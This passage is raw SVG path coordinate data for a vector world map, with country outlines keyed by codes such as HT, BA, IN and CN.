1.53,-0.23 1.67,-0.46 0.13,-0.76 -2.34,0.04 0.06,-0.73 2.54,-0.34 5.76,-1.32 8.84,-1.66 4.99,-0.57 10.06,-0.97 14.86,-2.56 -1.87,-2.8 -8.01,-0.49 -8.89,0.04 -3.71,0.39 -7.48,1.2 -11.28,0.77 -1.77,-0.36 -3.22,1.48 -3.1,0.45 -2.2,0.2 -0.1,0.46 -2.95,0.51 -4.08,0.54 -4.67,1.68 -7.82,1.94 0.15,0.68 -4.98,0.18 -1.05,0.85 1.4,0.2 -3.27,0.59 0.06,0.67 3.97,0.31 -5.23,-0.06 -0.89,0.73 1.24,0.01 -4.22,0.13 -1.04,0.61 -2.54,-0.21 -1.1,0.04 0.47,0.44 -2.25,-0.51 -4.99,0.93 -5.67,1.12 0.61,0.54 6.12,-0.52 2.67,0.12 z m -5.88,2.75 c 1.68,0.11 1.59,-0.22 0.24,0.32 1.51,-0.45 -0.47,0.57 -0.24,0.71 -1.06,0.7 -5.24,0.87 -2.19,2.36 1.86,-0.28 4.85,0.15 4.97,0.36 -0.41,0.75 2.03,0.62 0.25,0.77 -1.12,-0.13 0.72,0.92 -0.99,0.67 2.84,0.54 5.41,0.4 7.21,0.61 1.05,0.34 2.39,0.25 0.79,-0.27 2.41,0.43 2.75,0.37 2.04,0.24 4.33,-0.45 -4.41,-0.98 -4.36,-3.97 0.1,-1.36 -0.47,-1.57 0.41,-1.44 0.29,-0.6 1.54,-0.35 -0.03,-0.74 1.52,0.53 2.74,-0.78 0.38,-0.46 1.41,0.09 2.26,-0.42 0.53,-0.26 4.28,-0.45 -3.39,-1.33 -4.83,-0.64 -2.97,-0.14 -2.08,1.5 -4.89,1.6 z m -7.43,9.53 c -1.67,-2.02 -7.61,1.11 -3.2,1.55 0.98,-0.01 5.53,-0.93 3.2,-1.55 z M 626.15,6.83 c 1.89,0.57 9.44,-0.37 3.92,-0.56 -0.39,0.08 -2.89,-0.15 -1.08,0.44 -0.44,0.01 -3.74,-0.5 -2.84,0.12 z m -9.1,3.04 c 1.78,0.7 6.23,-0.28 2.16,-0.59 -0.28,0.25 -3.39,0.33 -2.16,0.59 z m -13.03,0.4 c 0.78,0.15 5.2,-0.26 2.8,-0.59 2.36,-0.85 6.52,-0.52 7.91,-1.38 -1.22,-0.29 -4.91,0.3 -1.6,-0.28 -0.59,-0.58 -3.5,0.14 -1.34,-0.24 -3.13,-0.25 -2.81,0.57 -3.31,0.85 -1.9,0.22 -7.46,0.41 -2.75,0.61 -2.3,-0.15 0.42,0.53 -2.01,0.44 -7.49,0.01 3.22,-0.16 0.3,0.59 z m -7.39,-1.66 c 3.46,1.24 7.04,-0.96 10.56,-0.08 -1.62,-1.32 -7.35,0.24 -10.56,0.08 z M 550.76,41.81 c 2.52,-0.75 5.08,-1.98 6.88,-2.34 0.83,0.45 2.94,-0.54 3.58,-0.55 1.61,0.32 3.8,1.03 0.66,0.9 -2.9,-0.77 1.31,0.46 -0.7,0.49 1.53,-0.15 3.23,-0.12 3.2,0.35 0.65,0.34 -2.22,1.33 0.48,0.31 3.07,-0.65 6.96,-0 10.19,1.01 3.84,1.6 6,1.58 9.2,2.84 3.79,0.78 1.59,4.16 -1.47,4.37 -4.11,1.23 -8.3,-0.06 -12.43,-0.41 -2.29,-1 -5.99,-0.44 -7.02,-1.96 -1.92,-0.17 -4.1,-0.36 -1.1,0.3 -1,0.77 3.67,0.87 0.81,1.12 1.5,-0.05 2.08,0.13 0.26,0.22 0.82,0.03 2.97,0.23 0.97,0.57 1.94,-0.29 6.08,1.31 3.11,2.8 2.07,1.43 0.39,2.95 3.74,2.79 1.49,0.82 5.7,2.62 6.11,0.27 -1.26,-0.29 -6.55,-1.72 -2.32,-2.66 1.78,0.52 3.44,1 2.99,1.37 2.04,-0.56 8.95,1.76 4.63,-1.44 -0.68,-2.3 5.02,-2.1 6.68,-3.68 1.48,0.13 4.51,0.29 3.19,1.35 1.11,-1.54 2.52,1.82 1.93,-0.73 2.17,-1.28 0.18,-2.28 -0.97,-2.98 2.76,-1.95 0.07,-3.27 -0.76,-3.71 2.57,0.57 8.38,-0.19 8.42,2.42 -2.12,-0.45 -6.53,1.12 -2.4,2.09 2.21,1.21 2.8,0.62 5.62,0.23 -0.91,-2.75 3.9,-1.49 3.35,-2.25 -0.81,-0.51 3.82,-0.62 4.96,-1.57 2.57,-0.84 3.87,-0.01 5.58,-0.28 -3.18,-1.57 8.33,-1.77 3.14,-1.4 -1.33,0.27 1.2,-0.16 -0.05,0.79 1.06,1.15 -3.55,0.91 -0.29,1.24 2.91,0.48 5.56,-2.03 9.15,-1.01 2.48,-0.4 6.59,-2.15 6,-0.25 0.12,1.82 2.64,0.33 2.43,-0.11 3.13,0.15 2.36,-1.62 0.18,-2.43 3.11,-1.19 6.74,-0.36 10.13,-0.11 1.58,0.26 3.57,0.97 3.25,1.14 2.44,0.14 5.15,0.73 8.09,1.98 1.56,2.29 5.21,-2.21 1.82,-1.33 -1.13,-1.89 -3.26,-1.52 -4.87,-2.19 1.38,-0.81 1.37,-1.23 1.32,-3.03 -4.77,-0.76 4.39,-1.49 4.45,-4.43 1.95,-2.69 4.8,-1.07 8.35,-1.33 4.1,-0.82 2.93,3.44 0.05,3.74 1.68,0.94 3.6,2.18 1.73,3.93 0.86,1.89 -1.11,4.11 2.42,4.15 0.76,1.93 -3.34,4.01 -4.19,4.65 -2.24,1.3 -6.63,0.18 -7.57,0.78 3.24,1.44 7.59,1.87 10.57,0.09 2.11,-0.42 4.07,-2.19 5.25,-3.57 -3.52,-2.7 3.66,-3.35 5.21,-2.4 3.33,0.55 -0.34,4.1 3.31,3.5 2.06,0.07 3.91,-0.08 1.06,-0.3 -2.07,0.51 -2.85,-1.52 -0.6,-1.72 -1.7,-3.02 -6.11,-2.78 -9.2,-2.28 -3.32,1.25 -4.05,-3.19 -1.18,-4.22 -1.37,-1.81 -5.14,-2.02 -1.67,-3.51 2.76,0.11 4.47,-1.6 3.74,-2.88 4.25,0.41 -2.19,5.52 2.88,4.66 2.84,-0.4 5.34,1.47 8.25,0.58 -2.11,0.46 -2.66,-1.43 -5.43,-1.02 -2.46,0.05 -3.97,-2.26 -0.53,-1.84 1.8,1.27 5.53,-0.37 1.63,-0.18 1.45,-1.57 8.02,-0.68 8.84,0.14 1.57,1.18 8.01,1.5 4.08,-0.7 -2.4,0.18 -4.08,-0.51 -4.45,-2.45 -2.02,-1.1 4.3,-1.77 7.14,-1.4 3.48,-0.3 8.76,0.04 11.02,-1.07 2.34,-0.1 -4.74,-0.7 -2.39,-0.95 -0.42,-0.13 4.58,0.38 1.01,-0.39 0.57,0.25 -3.6,-0.71 -0.97,-0.71 1.82,1.27 2.53,-0.93 3.62,-0.68 -3.88,-0.68 2.51,0.27 3.54,-1.02 2.47,-0.31 7.11,-1.08 10.59,-1.06 1.75,-0.02 6.32,-0.75 2.14,-0.57 -3.2,0.14 2.48,-0.71 1.89,-0.48 1.44,0.03 8.01,-0.59 4.39,0.68 2.73,-0.33 6.46,-0.1 6.71,-0.79 1.53,-0.5 7.67,0.84 3.11,-0.6 0.9,-0.72 6.18,-0.34 8.72,-0.09 -3.83,0.29 -4.57,-2.17 -0.62,-2.7 0.92,-0.73 6.69,-1.44 9.5,-0.53 5.79,0.7 -7.79,1.3 -2.14,1.22 1.05,0.09 4.77,-0.38 1.9,0.35 1.69,-0.44 8.06,-0.46 3.4,1.12 -1.39,0.48 3.57,0.27 4.44,-0.48 3.58,0.25 7.62,-0.79 10.87,0.72 -0.84,0.42 2.48,-0.24 1.6,1.27 1.98,-0.48 0.95,-0.87 2.48,0.42 2.08,1.99 -5.7,-1.07 -2.24,0.93 4.73,-0 -1.11,2.27 -2.81,2.4 -1.94,0.31 -5.86,1.12 -5.85,1.26 -0.9,1.24 -6.22,1.45 -8.63,2.71 -1.8,0.05 -6.59,2.58 -2.26,1.24 2.16,-1.56 5.9,-0.49 8.13,-1.3 2.01,-0.61 3.05,-0.34 6.04,-1.01 -1.37,-0.24 -5.76,0.35 -2.07,-0.9 2.24,0.69 3.44,-0.75 4.09,0.77 2.3,1.09 4.96,-1.83 4.83,0.98 1.66,0.24 1.77,0.4 0.3,-0.3 4.8,-0.78 9.67,-0.25 14.49,-0.31 1.31,0.49 -2.79,0.97 0.54,1.44 4.1,0.37 8.27,0.6 12.35,0.24 1.32,-0.38 -1.11,-2.03 1.18,-1.71 2.19,-1.28 4.98,1.13 7.38,0.3 -0.95,0.87 4.04,-0.89 5.45,0.66 1.57,0.25 2.9,0.72 0.29,0.99 1.1,0.24 3.22,0.23 0.84,0.44 3.89,0.1 -3.53,0.87 0.5,0.78 3.52,0.89 -0.52,1.51 -2.08,0.92 1.24,2.04 2.83,0.75 2.99,0.75 0.84,0.89 -2.7,0.35 0.17,1.39 2.02,1.74 6.76,2.73 7.4,-0.04 1.99,-3.1 6.22,1.88 8.33,-0.22 2.53,-1.29 6.77,0.83 8.07,0.88 -1.07,-0.26 2.51,-0.22 0.21,-0.7 0.86,-1.55 7.15,1.34 4.48,-1.25 -1.52,-0.35 3.99,-1.31 0.04,-0.9 -3.64,-0.53 4.95,-0.88 3.67,-1.44 -1.78,-1.2 3.85,0.5 4.95,-0.03 3.78,0.46 7.81,-0.29 11.41,1.08 -1.97,0.11 -6.62,-0.64 -6.82,0.4 1.84,-0.05 5.37,-0.93 6.18,0.11 -1.39,0.83 -1.65,0.91 -1.09,-0.09 -0.72,0.29 -1.94,-0.53 -1.24,0.75 -5.07,-0.17 0.46,1.63 2.66,-0.53 2.46,-1.06 7.58,-1.06 8.91,0.76 -1.79,-0.38 -4.53,0.84 -1.05,0.47 1.15,0.28 4.44,0.6 1.29,1.23 2.21,-1.04 6.84,0.24 4.96,0.85 5.17,1 10.36,-1.23 15.56,-0.33 2.68,-0.3 8.1,1.17 6.57,2.79 -1.16,1.6 4.4,1.44 5.94,1.15 4.24,-0.26 8.41,0.19 12.63,0.51 2.15,-0.66 4.01,-1.15 5.28,0.74 2.64,0.49 6.14,2.47 6.98,0.05 -1.24,-1.52 -3.26,-0.69 -1.32,-2.19 0.7,-1.37 8.12,1.13 7.9,0.16 3.46,0.52 7.04,-0.18 10.46,0.85 1.35,0.51 6.14,0.35 4.29,0.92 0.79,-0.46 4.68,1.19 2.41,0.52 2.16,0.46 5.41,1.1 5.43,1.55 1.19,0.56 3.35,0.93 0.79,0.09 2.16,0.97 5.03,1.12 7.95,2.4 1.33,0.64 1.4,1.9 1.88,2.97 0.84,1.19 3.75,0.75 1.22,0 2.47,-0.77 -2.9,-1.74 0.45,-1.46 1.76,0.08 2.44,0.01 2.51,0.67 0.81,-0.43 3.29,0.07 0.65,-0.46 2.22,-0.49 6.18,1.78 7.69,2.37 -0.96,0.09 1.65,0.5 -0.56,0.77 -0.76,2.14 -4.58,-0.74 -1.93,1.06 -2.47,0.6 -2.35,-0.21 -5,-0.36 2.44,0.29 1.25,1.6 0.94,1.38 2.18,0.9 -3.6,1.04 -1.04,1.29 -1.43,-0.11 3,1.25 0.18,0.73 -0.3,0.17 -1.68,1.32 -1.72,-0.36 -1.51,1.26 -4.85,-0.64 -6.58,-1.32 -1.81,-3.33 -6.72,0.72 -8.23,-2.23 -0.61,-0.31 1.99,-2.18 -0.21,-0.88 -1.28,-0.91 -1.46,-0.1 -2.74,0.68 2.99,0.99 -0.19,1.65 -0.28,1.65 3.75,-0.02 -5.6,2.72 -3.73,1.89 -2,0.91 -6.16,-1.99 -6.2,-0.85 3.84,0.06 0.17,0.91 -1.55,0.24 2.36,0.43 -0.59,1.16 1.81,0.69 1.75,-0.28 2.11,-0.33 2.58,1.05 2.16,-0.14 3.34,0.5 3.34,1.94 -1.67,-0.07 1.26,0.52 1.03,0.8 2.43,1.15 0.52,3.62 -2.11,2.22 -1.33,0.29 -4.96,-1.63 -2.89,-0.15 -3.34,0.63 -6.6,1.85 -8.87,2.22 -2.5,0.64 -3.1,1.12 -4.43,1.7 -0.56,0.3 -2.37,1.48 -4.94,1.89 -0.74,1.29 -1.85,2.25 -3.1,0.15 -3.55,-1.16 -6.98,0.24 -9.9,1.78 2.5,-3.25 -2.42,-0.68 -2.59,-0.69 -0.29,1.42 -3.63,-0.72 -3.75,0.28 -2.2,0.8 -0.97,2.76 -2.67,3 -2.8,1.07 -1.97,4.41 0.19,2.71 3.15,0.22 -2.73,3.14 1.25,3.62 1.02,2.49 -3.36,1.43 -0.75,0.35 -1.62,0.1 -5.18,2.81 -2.6,4.89 -1.79,1.07 -7.62,0.75 -5.76,4.09 0.54,0.69 -4.84,0.51 -3.78,1.21 0.26,2.66 -4.19,5.47 -5.34,4.98 -1.23,-1.82 -0.28,-3.97 -1.79,-4.95 -0.41,-3.63 -2.89,-7.71 0.14,-10.94 0.78,0.26 2.73,-2.06 2.57,-2.91 2.48,-0.16 4.7,-0.97 6.7,-2.47 1.76,-2.35 5.38,-3.06 7.18,-4.99 2.5,-0.93 5.74,-0.98 4.96,-3.13 0.24,-2.16 3.65,-2.8 3.73,-2.53 2.99,0.51 -2.88,-1.13 -4.15,-0.39 -2.79,0.04 -0.26,3.84 -2.75,2.81 -2.29,-0.33 -6.12,3.78 -7.01,2.35 1.19,-1.04 -2.28,-0.34 -0.36,-1.72 2.14,-2.08 -0.23,-0.94 -1.49,-1.11 -2.69,-0.3 -6.59,-0.44 -8.43,1.64 -1.71,1.5 -7.4,3.4 -6.03,4.97 0.96,-1.1 3.85,1.21 0.73,0.68 -3.09,0.1 -5.55,0.89 -8.63,0.83 -3.18,-0.96 4.91,-0.49 0.68,-1.26 -2.13,-0.49 -5.39,-1.56 -7.38,-0.56 1.01,0.46 -1.95,-0.17 -0.43,0.88 -2.55,-0.2 -5.58,-0.7 -7.83,0.16 -2.34,-1.32 -6.17,-0.32 -9.07,-0.26 -3.53,1.16 -5.89,3.73 -9.04,5.38 -3.56,1.69 -5.69,4.21 -9.53,5.74 -2.6,0.19 -3.31,2.3 -0.27,2.04 2.61,-0.94 2.14,1.14 2.26,2.27 2.19,0.07 -0,-1.75 2.56,-1.47 -3.02,1 1.77,0.77 -0.67,1.65 -1.82,2.34 5.63,-2.43 2.06,0.65 2.26,-0.43 0.18,-3.46 3.17,-2.04 1.97,-0.28 4.66,2.3 5.58,3.22 -1.6,0.15 -1.95,-0.45 -0.19,1.01 -0.15,1.5 1.17,2.27 -1.22,3.44 -1.55,2.06 -0.54,4.25 -1.6,6.27 0.41,3.03 -4.64,4.81 -5.79,7.92 -2.09,2.7 -5.25,4.3 -7.35,6.9 -1.64,1.88 -5.23,4.21 -7.92,3.24 -1.8,0.11 -0.61,-1.9 -2.3,-0.7 -0.16,-1.65 -1.87,2.49 -3.28,1.31 0.46,1.81 -1.75,-1.25 1.09,-0.86 1.52,-2.63 -2.24,-6.36 2.34,-6.58 3,2.1 3.84,-1.39 5.39,-2.88 -0.38,-2.5 3.83,-3.99 1.6,-5.81 -3.45,0.24 -6.72,3.17 -10.12,1.43 0.13,-2.81 -1.87,-2.89 -4.03,-4.41 -2.43,-0.09 -5.88,-0.38 -5.77,-3.74 -1.45,-1.8 -2.14,-4.2 -3.6,-5.7 -2.3,-1.41 -5.07,-1.76 -7.89,-2.02 -2.79,0.1 -7.06,0.22 -8.32,2.4 4.53,0.5 -1.32,3.5 -1.93,5.45 -0.81,1.4 -0.35,2.28 -2.87,2.41 -2.78,2.08 -5.92,-1.06 -8.94,-0.42 -3.56,-2.26 -6.54,2.47 -10.36,1.78 -3.78,1.2 -8.2,0.14 -11.23,-1.73 -3.43,-2.39 -7.69,-0.54 -11.49,-0.62 -3.53,0 -2.29,-4.58 -6.08,-3.84 -3.47,-1 -7.32,-2.39 -8.77,1.51 2.67,2.58 -1.84,4.43 -4.22,3.08 -2.65,0.3 -5.06,-0.22 -6.91,-1.86 -3.05,-0.27 -5.04,-1.01 -8.15,0.62 -3.41,0.72 -4.12,2.94 -7.39,2.57 -2.57,3.54 -4.17,-2.26 -5.85,-0.12 -3.45,0.09 -4.91,-3.11 -7.92,-4.23 -1.79,0.67 -5.66,1.46 -6,-0.37 -1.76,-1.57 -3.29,3.16 -4.42,-0.56 -2.08,-2.7 -4.08,-5.81 -7.45,-6.99 -2.94,-0.65 2.26,-2.26 -1.52,-1.44 -2.68,0.52 -4.55,2.65 -7.12,2.07 -1.71,1.15 -1.51,-1.01 -0.09,-1.09 -0.96,0.21 -3.6,-0.82 -3.19,0.06 -0.64,-1.58 -2.14,0.01 -4.41,-0.88 1.6,-1.26 -0.94,-3.7 -2.77,-2.54 -3.35,-1.83 -4.38,0.94 -7.69,1.08 -3.32,-0.09 -5.6,1.49 -8.71,1.36 -2.79,0.62 -4.93,1.23 -7.82,0.89 -0.95,0.56 -0.85,1.29 0.85,1.36 -3.67,0.63 4.3,1.18 0.3,1.57 -1.27,-0.73 -3.63,0.61 -1.72,1.73 -1.63,0.74 -4.26,1.08 -1.26,1.96 2.69,-0.04 3.89,2.45 0.51,2.77 -2.59,-1.22 -3.45,1.54 -6.07,-0.6 -1.28,-1.9 -3.02,0.94 -4.63,-0.61 -2.08,0.38 -3.98,2.57 -6.19,0.18 -0.36,0.13 -0.41,2.64 -0.76,0.47 -2.31,-1.41 -5.48,-3.19 -7.58,-1.69 -2.42,-1.77 -3.19,0.57 -6.05,1 -0.91,1.62 -3.37,0.79 -1.95,3.21 -1.78,1.59 -3.66,-3.44 -4.48,-0.03 -2.34,1.01 0.7,2.74 -1.77,3.83 1.72,0.88 1.16,2.91 3.55,2.32 1.92,0.42 4,3.42 2.02,3.3 3.17,0.87 0.68,1.16 0.15,1.87 0.14,0.2 -3.39,1.02 -3.1,0.78 0.05,0.65 -2.16,2.52 -2.08,3.59 2.36,0.01 1.19,3.75 2.55,1.49 -3.08,2.65 4.55,4.97 1.08,6.89 -2.15,1.53 -4.26,-2.15 -6.69,-2.29 -0.24,-2.22 -3.9,-0.8 -5.31,-1.29 -3.01,-1.83 -6.89,-1.88 -10.23,-2.23 -1.78,-0.19 -4.76,-3.39 -6.74,-3.27 -1.46,-0.98 -3.03,-1.13 -2.39,-2.05 -0.52,0.01 3.77,0.8 2.26,-0.72 1.23,-0.82 1.38,-1.35 2.52,-1.35 -1.99,-0.82 -2.6,-1.9 -0.03,-1.48 0.08,-0.87 4.3,-1.72 0.79,-1.49 -1.7,0.19 0.99,-0.52 -1.29,0.13 -1.34,-2.6 5.48,-1.24 4.27,-3.36 0.06,-0.72 -0.91,-1.17 0.33,-1.54 -1.63,0.07 2.15,-2.61 -0.74,-2.02 -2.43,-1.28 -4.96,-0.76 -6.99,-2.3 -2.48,1.01 -5.03,-0.02 -5.75,-2.1 -2.48,0.45 -2.83,-1.27 -2.31,-2.1 -1.74,-3.01 -5.47,0.3 -7.34,-1.15 -0.7,-1.78 -1.35,-3.13 1.38,-2.27 3.16,-0.33 0.44,-2.32 -0.94,-2.06 -0.65,-1.4 -3.51,-2.48 -2.43,-4.79 -2.86,-1.11 -4.55,-0.8 -7.42,-1.56 -0.34,-1.92 -1.75,-2 -1.49,-3.59 -2.06,-0.78 1.47,-1.38 -0.64,-2.52 -0.39,-2.21 2.22,-2.82 1.75,-4.13 1.41,-0.3 5.09,-0.54 5.47,-0.65 -2.54,-0.54 -4.68,-1.21 -4.25,-2.06 -4.58,1.28 2.09,-1.55 3.43,-2.54 2,-1.25 7.48,-3.89 2.47,-5.11 -3.07,-0.74 -0.25,-1.08 -0.51,-2.36 -2.14,-0.64 -0.29,-1.41 -2.37,-1.96 0.74,-0.38 -0.53,-2.35 1.36,-2.08 -1.86,-2.36 -3.8,-3.95 -0.44,-5.63 -1.21,-1.25 -5.27,-1.27 -3.5,-3.22 z m -24,40.71 c 0.88,-1.73 2.7,-1.43 4.13,-2.53 -2.85,1.07 0.58,1.91 0.81,0.07 2.08,0.22 6.34,0.97 4.11,2.79 -2.19,-0.03 -8.09,0.44 -7.89,-0.69 2.88,-0.71 -0.85,-0.45 -1.16,0.35 z m 223,-67.55 c -4.59,2.22 3.76,0.36 5.68,0.55 2.84,-0.28 8.08,0.35 9.36,-1.46 -2.8,-0.94 -5.59,-1.47 -8.48,-0.35 2.46,-1.14 1.51,-1.97 -0.83,-1.28 0.14,-0.04 -4.27,0.2 -2.19,0.83 -2.54,-0.13 0.16,1.15 -2.09,0.62 -0.66,0.05 -1.03,0.67 -1.45,1.09 z m -15.19,-4.39 c -2.63,0.17 1.01,0.57 -1.42,0.71 -2.13,0.29 -4.71,0.8 -1.08,0.67 1.38,0.3 5.95,1.77 9.06,1.42 2.18,0.49 5.08,0.87 8.3,-0.03 -1.67,-0.82 -3.11,-0.54 -0.78,-1.18 2.16,-2.45 -3.42,-1.89 -4.48,-1.31 -2.13,0.5 -2.34,0.64 -0.16,-0.48 -3.02,-0.52 -6.41,-0.32 -9.44,0.2 z m -8.47,-0.91 c 1.77,-0.54 6.96,0.07 2.33,-0.04 -2.54,0.03 3.07,0.57 -0.35,0.37 0.98,0.78 6.2,0.36 8.94,-0.08 2.09,-0.12 5.73,0.71 4.54,-1.43 4.76,-0.14 -1.67,-0.62 -3.05,-1.86 -1.06,-0.3 -4,0.25 -1.31,0.2 -2.23,0.29 -7.04,0.42 -7.73,1.41 2.63,0.43 -5.01,1.09 -0.54,1.12 -0.45,-0.23 -3.92,0.04 -2.82,0.32 z m -1.28,0.91 c 0.46,0.98 4.67,0.37 2.23,0.78 2.23,0.88 6.89,-1.15 2.05,-0.83 -0.89,0.18 -5.17,-0.51 -4.28,0.05 z m 160.93,14.73 c 1.89,0.35 7.14,-1.17 2.58,-1.29 -3.24,-0.5 -6.78,-0.05 -9.54,-1.02 -3.43,1.66 3.77,2.03 5.24,2.25 l 0.85,0.04 z m -25.17,3.62 c -2.36,0.58 3.2,-0.42 4.04,0.33 2,0.5 8.21,0.71 3.78,-1.2 -2.87,-1.22 -5.22,0.19 -7.82,0.87 z m -8.42,-6.04 c 0.81,-0.01 1.46,1.28 -0.37,0.79 2.5,2.49 6.34,1.41 8.91,1.5 1.91,-0.24 6.38,-0.99 5.66,-0.08 1.51,-0.16 6.2,-0.24 2.21,-0.64 -3.44,-0.75 -2.13,-2.75 0.12,-1.6 -2.84,1.84 5.45,2.38 5.47,0.44 3.07,-0.14 -3.3,-1.64 -4.56,-1.03 -2.46,0.55 -4.5,-1.5 -5.62,-0.66 -0.9,0.21 -1.25,2.33 -2.11,0.68 -2.65,-0.48 -5.34,-1.7 -8,-0.36 0.83,1.16 -1.43,-0.07 -1.71,0.96 z m 80.88,57.08 c -3.12,-0.06 3.2,3.15 -0.02,0.55 -0.07,-0.17 0.2,-0.4 0.02,-0.55 z m -7.79,-9.11 c 1.7,0.2 5.64,-2.63 1.53,-1.36 -0.47,-0.2 -0.5,1.33 -1.53,1.36 z m -40.64,36.73 c -2.29,0.38 -3.51,1.08 -5.23,2.73 0.13,-0.02 4.7,-2.12 5.23,-2.73 z m -7.3,2.84 c -1.21,1.14 -2.89,3.28 -0.55,1.04 0.9,-0.66 2.7,-0.78 0.55,-1.04 z m -9.66,-26.71 c 0.75,1.38 -0.43,1.65 -1.91,1.68 -0.17,2.36 -1.31,4.65 0.77,6.5 -1.23,3.17 -0,6.76 -0.66,9.65 0.05,1.47 -1.02,7.12 1.07,3.3 1.11,-1.76 3.47,1.34 3.17,0.46 -0.05,-2.77 -1.34,0.29 -1.58,-2.82 -2.96,-1.39 1.1,-6.32 1.28,-5.58 -0.61,-1.26 4.06,1.68 3.46,1.59 -1.93,-2.09 -2.68,-5.85 -3.35,-7.75 -0.75,0.02 -1.18,-3.19 -0.15,-2.9 -0.66,-1.12 -0.96,-3.6 -0.05,-0.95 -0.34,-2.36 -1.49,-2.05 -1.26,-3.92 -0.65,-0.64 -2.51,-0.14 -0.77,0.74 z m -14.76,-2.79 c -0.45,1.81 3.64,-0.2 1.02,-0.48 -0.44,-0.39 -0.62,0.49 -1.02,0.48 z",HT:"m 266.35,183.21 c 0.99,0.03 4.39,1.37 4.7,-0.3 -1.42,-0.77 -0.59,-2.99 -2.83,-2.75 2.53,-1.63 5.89,0.33 4.66,2.79 -1.39,0.24 1.33,2.8 -1.22,1.39 -1.06,-0.01 -8.54,0.81 -5.31,-1.14 z",BA:"m 515.61,108.85 c 1.82,-0.49 4.8,-0.16 7.39,-0.06 1.25,0.88 3.38,0.03 2.04,2.13 1.88,0.97 -0.1,0.88 0.72,2.1 -1.5,0.44 -2.48,1.02 -2.64,2.86 -2.69,-0.82 -4.05,-3.01 -6.27,-4.99 0.04,-1.12 -1.73,-0.78 -1.25,-2.05 z",IN:"m 661.02,168.77 c 2.15,-2.64 10.72,0.22 6.65,-5.13 -1.73,-1.18 -1.11,-2.71 -2.75,-3.65 0.53,-4.88 5.65,-1.01 7.64,-4.52 1.73,-3 5.85,-5.29 5.99,-8.59 1.43,-1.5 3.18,-2.4 0.21,-3.07 -1.63,-1.59 -1.49,-3.83 -1.68,-5.26 3.14,-1.38 6.62,1.29 9.3,-2.1 2.3,-1.39 2.86,2.18 4.57,3.04 -1.41,1.43 3.61,5 -0.35,4.78 -2.13,-0.68 -0.03,3.77 1.34,3.53 2.41,1.42 5.57,2.61 2.52,5.25 0.4,3.43 5.65,4.33 8.7,5.38 3.86,0 6.89,3.07 10.87,2.88 4.34,1.45 0.38,-6.23 4.38,-4 -0.49,4.9 5.68,2.25 8.5,2.78 1.05,-1.6 -2.06,-2.93 1.09,-2.86 3.05,-2.18 5.91,-4.26 9.57,-3.92 1.62,-0.78 1.39,0.8 2.11,1.23 -1.51,2.39 4,0.44 1.53,3.35 0.15,2.57 -3.8,0 -5.02,2.87 -1.52,2.68 -1.82,7.66 -5.35,7.78 0.34,1.88 -1.46,7.6 -2.6,3.28 0.56,-3.52 -1.66,-2.19 -2.84,-1.16 -2.77,-2.69 5.71,-4.36 1.08,-5.77 -2.64,-0.13 -5.78,0.48 -5.97,-2.74 -1.64,-0.43 -5.01,-2.22 -3.37,1.42 3.43,0.75 -3.64,3.11 0.58,3.64 -0.54,2.11 2.77,6.55 0.32,7.27 0.14,-2.94 -1.22,2.41 -1.79,-0.81 0.35,-1.41 -1.28,1.63 -2.67,1.7 -0.84,2.4 -2.43,5.18 -5.24,4.8 -1.25,2.86 -5.37,5.36 -8.05,7.72 -1.36,2.67 -8.24,3 -6.05,7.72 0.67,2.63 -0.29,5.48 -1.25,8.74 1.46,2.18 -3.6,4.23 -1.64,5.29 -3.2,-0.57 -3.39,5.55 -6.34,1.92 -1.91,-2.81 -1.52,-5.2 -3.5,-8.28 -2.54,-3.3 -2.51,-7.76 -4.9,-11.15 -1.54,-3.02 -2.32,-6.83 -2.3,-10.07 -0.66,-0.95 -0.81,-5.32 -0.56,-7.14 1.96,-0.46 -2.38,-1.05 0.2,-1.88 -3.14,-0.91 -1.37,5.66 -5.59,4.12 -2.56,-0.4 -7.37,-5.37 -2.47,-4.86 3.91,-3.18 -3.31,1.14 -3.81,-2.38 -0.35,-1.97 0.32,-0.7 -1.1,-0.85 l 0.06,-0.34 z m 68.31,30.59 c -0.76,2.09 -0.39,5.08 0.27,1.28 0.49,-1.51 0.24,-4.58 -0.27,-1.28 z",CN:"m 676.19,124.66 c 0.98,-1.83 3.25,-2.89 5.46,-3.21 1.72,2.58 3.49,-2.51 6.01,-1.25 1.96,-1.24 5.07,-2.13 6.86,-3.29 -0.65,-2.73 3.04,-2.13 0.47,-5.26 0.7,-1.82 -0.76,-1.93 -1.33,-2.46 2.18,-1.71 6.37,0.32 7.36,-1.37 -1.71,-0.44 0.85,-4.93 2.17,-4.89 2.66,1.09 7.77,1.38 6.25,-2.85 1.12,-1.02 3.17,-0.74 3.53,-2.58 3.42,-0.89 2.49,1.94 5.53,2.87 2.83,-0.07 6.03,2.03 5.68,5 -0.4,1.63 -1.19,3.52 1.67,3.39 3.81,-0.25 7.11,1.27 10.59,2.43 0.94,2.78 3.39,5.13 6.71,4.15 3.26,0.94 6.58,-0.02 9.86,0.56 3.02,1.55 6.81,1.97 9.99,2.52 3.46,-1.14 7.28,-2.67 11.14,-2.14 3.36,0.17 5.74,-2.56 8.43,-3.8 -3.55,-2.2 0.96,-5.11 3.39,-2.82 2.7,-0.29 4.66,-2.42 7.58,-2.27 1.89,-2.66 5.14,-2.73 8.12,-3.34 3.52,1.8 3.22,-1.63 0.5,-2.54 -2.9,-2.4 -7.09,1.31 -9.71,-1.03 1.84,-1.66 2.23,-6.59 5.67,-4.32 1.73,-0.47 5.28,-0.91 4.66,-2.74 0.65,-2.25 5.72,-3.82 3.46,-5.87 -3.15,-0.11 2.81,-2.56 4.29,-2.25 3.47,-0.72 6.65,0.61 9.85,1.03 1.47,1.29 2.72,2.4 3.14,4.21 1.6,1.71 1.34,4.47 3.28,5.65 2.63,-0.12 6.8,1 7.49,2.86 -0.06,3.38 4.81,2.8 7.08,1.24 2.05,-0.65 5.63,-1.43 3.84,1.81 -2.18,1.1 -1.62,4.59 -3.99,5.76 -0.74,2.42 -3.94,-0.86 -5.37,1.36 -0.68,1.23 1.33,6.54 -1.79,6.4 0.65,1.89 -2.28,-3.04 -2.11,0.29 -1.2,1.07 -3.81,1.45 -4.57,1.93 0.9,3.73 -4.61,-1.94 -5.15,1.91 -2.77,1.4 -5.47,3.91 -8.38,3.98 -1.83,0.26 -4.94,3.72 -5.71,2.3 1.87,-0.72 2.25,-1.37 -0.02,-1.55 1.16,-1.01 4.13,-2.63 1.82,-4.16 -2.71,0.14 -4.38,2.63 -7.17,3.79 -0.26,2.82 -6.3,-0.06 -4.28,3.62 1.87,1.47 4.4,-0.22 3.61,3.08 2.93,1.27 3.81,-3.22 6.7,-0.84 1.85,0.07 4.74,0.71 2.12,1.94 -0.85,-0.61 -2.49,0.66 